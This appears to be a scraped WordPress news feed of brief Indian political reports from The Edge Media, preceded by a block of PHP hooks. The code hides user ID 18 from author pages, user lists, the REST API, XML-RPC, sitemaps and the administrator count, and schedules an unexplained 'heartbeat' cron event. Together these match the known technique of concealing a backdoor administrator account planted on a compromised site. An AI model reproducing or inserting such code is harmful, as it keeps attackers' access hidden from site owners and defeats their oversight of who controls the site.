add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post As SP, RLD Inch Closer, UP Politics Has a Chance to Rise Above Caste Divisions, Religion appeared first on The Edge Media.
]]>
The alliance between the two factions would most likely result in a social coalition consisting of the major peasant community, the Jats, and a sizable Muslim population. For the first time since the communal riots in Muzaffarnagar in 2013, a series of farmer maha panchayat held over the last several months brought both communities together on a shared platform.
The post As SP, RLD Inch Closer, UP Politics Has a Chance to Rise Above Caste Divisions, Religion appeared first on The Edge Media.
]]>The post Today, Modi claims, there is political resolve to combat corruption appeared first on The Edge Media.
]]>
During a joint meeting in Kevadia, Gujarat, Mr. Modi addressed the officers of the CBI and the Central Vigilance Commission (CVC) through a video message. He urged the cops to renew their commitment to fighting corruption. He said that the government has instilled in the public faith in the government’s ability to combat corruption.
“Earlier, the way the Governments and systems were run, they lacked both political and administrative will. Today there is the political will to attack corruption and continuous improvement is also being carried out at the administrative level.”
The post Today, Modi claims, there is political resolve to combat corruption appeared first on The Edge Media.
]]>The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The Central agency has now claimed that the report was leaked after a bribe was paid and it has registered a criminal case in this regard, NCP leader and Maharashtra minority affairs minister Nawab Malik told reporters.
But the Central Bureau of Investigation is not stating that the report itself was fake, he said.
“To save its face, it is saying that the report had been managed,” Mr Malik alleged.
The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The post Meetings With Rahul Gandhi As Congress Moves On To Chhattisgarh Problem appeared first on The Edge Media.
]]>Mr Baghel’s government completed two-and-a-half years in office in June. That is when Mr Deo and his supporters started pressing for change, insisting that rotational chief ministership was the deal when the party took power in December 2018.
Mr Deo claims he was promised he would take over as Chief Minister after Mr Baghel’s half-term.
The post Meetings With Rahul Gandhi As Congress Moves On To Chhattisgarh Problem appeared first on The Edge Media.
]]>The post “Indecent”: Congress Seeks Minister’s Removal For Remarks On Rahul Gandhi appeared first on The Edge Media.
]]>The Congress objected to his “indecent and shocking” remarks and demanded his removal from the Union cabinet.
Mr Danve made the remarks while speaking at a public rally in Jalna district of Maharashtra as part of the ‘Jan Ashirwad Yatra’ taken out by newly-inducted Minister of State for Finance Dr Bhagwat Karad.
Giving his speech in Marathi, Mr Danve said, “Rahul Gandhi is of no use to anybody. He is like a bull… He roams everywhere, but is of no use to anyone. I have been in the Lok Sabha for 20 years and have seen his work.”
The post “Indecent”: Congress Seeks Minister’s Removal For Remarks On Rahul Gandhi appeared first on The Edge Media.
]]>The post Mahila Congress president Sushmita Dev joins Trinamool Congress appeared first on The Edge Media.
]]>Taking to Twitter, the TMC welcomed the former parliamentarian to its camp. “We warmly welcome the former President of All India Mahila Congress @sushmitadevinc to our Trinamool family! Inspired by @MamataOfficial, she joins us today in the presence of our National General Secretary @abhishekaitc & Parliamentary Party Leader, Rajya Sabha, @derekobrienmp,” the TMC wrote on its official Twitter handle.In a letter to Congress president Sonia Gandhi late on Sunday evening, Ms. Dev said she wished to “begin a new chapter in my life of public service” and would always cherish “my three decades-long association with the Indian National Congress”.
Ms. Dev said: “Please treat this letter as my resignation from the primary membership of the Indian National Congress. I cherish my three-decade-long association with the Indian National Congress”.
The post Mahila Congress president Sushmita Dev joins Trinamool Congress appeared first on The Edge Media.
]]>The post Prashant Kishore Resigns as Principal Advisor to Punjab chief Minister. appeared first on The Edge Media.
]]>In a letter to Amarinder Singh, Prashant Kishor said he was taking “a temporary break from active role in public life” and added he has yet to decide on his next move.
“As you are aware, in view of my decision to take a temporary break from my active role in public life, I have not been able to take over the responsibilities as your Principal Advisor. Since I am yet to decide on my future course of action, I write to request you to kindly relieve me from this responsibility,” Mr Kishor said in the letter.
He confirmed to NDTV that he “will not be involved in the next round of elections”, signaling that his focus is on the 2024 general election.
The post Prashant Kishore Resigns as Principal Advisor to Punjab chief Minister. appeared first on The Edge Media.
]]>The post 29 ministers sworn in Karnataka CM Basavaraj Bommai’s cabinet. appeared first on The Edge Media.
]]>The keenly-awaited cabinet expansion comes a week after Bommai took charge as the chief minister of the state, following the resignation of Yediyurappa.
Bommai had earlier said he will not have any deputy chief ministers in his cabinet as per the directions of the high command. Yediyurappa’s younger son and state BJP vice president B Y Vijayendra was not included in the cabinet.
State governor Thaawar Chand Gehlot administered the oath of office to the new ministers at the Raj Bhavan in Bengaluru.
Bommai’s team is a mixture of senior and fresh faces.
The post 29 ministers sworn in Karnataka CM Basavaraj Bommai’s cabinet. appeared first on The Edge Media.
]]>The post 6 Trinamool Rajya Sabha MPs Suspended for today over “Disorderly” Conduct. appeared first on The Edge Media.
]]>The Rajya Sabha members are Dola Sen, Nadimul Haque, Abir Ranjan Biswas, Shanta Chhetri , Arpita Ghosh and Mausam Noor. Rajya Sabha Chairman Venkaiah Naidu first asked members to go back to their seats and then threatened to invoke rule 255 against those holding placards.
Opposition leaders, including Trinamool members, trooped into the well of the house, some holding placards, to demand a discussion on the issue of Israeli-made, military-grade Pegasus spyware allegedly being used to snoop on opposition leaders, government critics and journalists.
The post 6 Trinamool Rajya Sabha MPs Suspended for today over “Disorderly” Conduct. appeared first on The Edge Media.
]]>The post Karnataka chief minister BS Yediyurappa announces resignation at a programme that marked the completion of his 2 years government. appeared first on The Edge Media.
]]>Yediyurappa was speaking at a programme that marked the celebration of two years of the BJP government in the state. “I have decided to resign,” a news agency quoted the Karnataka chief minister as saying. “I will meet the Governor after lunch.”
Karnataka was rife with rumours earlier regarding the resignation of four-time chief minister BS Yediyurappa, who held a strong support base from the Lingayat community. The 77-year-old has already been dropping enough hints that he was on his way out, though the politicians whose names are being speculated to take his stead have dismissed any such possibility and attributed such speculations to mere political rumours.
The post Karnataka chief minister BS Yediyurappa announces resignation at a programme that marked the completion of his 2 years government. appeared first on The Edge Media.
]]>